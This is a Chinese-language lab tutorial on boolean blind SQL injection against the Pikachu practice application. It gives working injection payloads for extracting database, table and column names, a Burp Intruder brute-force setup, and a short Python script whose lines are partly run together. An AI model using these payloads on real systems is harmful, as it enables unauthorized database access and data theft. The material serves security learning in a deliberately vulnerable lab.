摘要 / 前言:
当我们进行 SQL 注入测试时,如果后端页面 不回显 具体的数据库数据(如查询结果为空时不显示,查询成功时只显示固定的“成功”字样或用户信息),我们就无法使用 UNION SELECT 直接在页面上看到数据。这时,我们需要利用页面返回的 布尔状态(True/False)差异,逐个字符地“猜”出数据库内容,这就是 布尔盲注。
一、漏洞分析与判断
1. 现象观察
- 输入不存在的用户(如
123):页面提示“username 不存在”。 - 输入存在的用户(如
kobe):页面显示用户的 UID 和 Email。 - 判断: 页面存在两种明显的不同状态(真 / 假),适合进行布尔盲注。
2. 构造判断语句
虽然本关源码逻辑存在疏漏(未完全禁用 UNION,例如可使用 payload:test' union select database(),user()#),允许显错注入,但我们按标准盲注流程进行测试。
- Payload:
kobe' and 1=1#-> 页面显示 kobe 的信息(状态:真)。 - Payload:
kobe' and 1=2#-> 页面提示“不存在”(状态:假)。 - 结论: 注入点存在,且逻辑判断被后端执行。
二、盲注核心函数解析
盲注的核心在于“截取”和“比较”。我们需要用到以下字符串处理函数:
length(str):- 作用: 返回字符串的长度。
- 用法:
length(database())计算数据库名的长度。
substr(str, pos, len):- 作用: 从字符串
str的第pos位开始,截取len个字符。 - 用法:
substr(database(), 1, 1)表示截取数据库名的第 1 个字符。
- 作用: 从字符串
left(str, len):- 作用: 从左侧开始截取字符串
str的前len位。 - 用法:
left(database(), 1)等同于substr(..., 1, 1)。
- 作用: 从左侧开始截取字符串
ascii(char):- 作用: 返回字符的 ASCII 码值。
- 用法:
ascii(substr(database(),1,1))。将字符转为数字,方便通过>或<二分法查找,比直接对比字符更高效。
三、盲注利用流程
1. 猜解数据库名长度
我们先猜数据库名字有多长。
- Payload:
sql kobe' and length(database())=7# - 结果: 页面回显正常(True),说明数据库名长度确实为 7。
2. 猜解数据库名 (逐字符爆破)
确定长度后,我们开始猜每一个位置的字符是什么。
- 猜第 1 个字符:
kobe'and substr(database(),1,1)='p'#- 若页面正常,说明第 1 个字是
p。 - 若页面报错,尝试
='a',='b'… 直到试出正确字符。
- 若页面正常,说明第 1 个字是
- 猜第 2 个字符:
sql kobe'and substr(database(),2,1)='i'#
3. 自动化攻击 (Burp Suite Intruder)
手工猜解非常耗时,通常结合 Burp Suite 的 Intruder 模块进行自动化爆破。
- 构造 Payload:
kobe'and substr(database(),§1§,1)='§a§'# - 设置两个变量位置:第一个是位置索引(1,2,3…7),第二个是字符字典(a-z, 0-9, 特殊符号)。
- 利用 Cluster Bomb 模式进行攻击,观察响应包长度或特定关键词(如“your uid”)来确定每一位的正确字符。
- 最终拼接得到数据库名为
pikachu。

4. 后续攻击思路
- 爆表名:
sql kobe'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='m'# - 爆列名 / 数据: 逻辑同上,利用
limit N,1控制查询哪一行数据,利用substr控制截取哪一位字符。依次类推,得到每个表名,再得到每个列名,最终得到完整数据库信息。


四、总结
布尔盲注特点:
- 耗时: 需要发送大量请求,效率远低于 UNION 注入。
- 隐蔽: 页面不直接显示数据,只显示“对”或“错”。
- 工具: 实战中通常使用 SQLMap 等工具自动化完成,或者编写 Python 脚本。
# 简单的 Python 盲注脚本思路示例
import requests
url = "http://localhost:8899/vul/sqli/sqli_blind_b.php"
name = ""
for i in range(1, 8): # 假设长度 7
for char in "abcdefghijklmnopqrstuvwxyz":
payload = f"kobe' and substr(database(),{i},1)='{char}'#"res = requests.get(url, params={"name": payload})
if "your uid" in res.text:
name += char
print(f"Found: {name}")
break;
正文完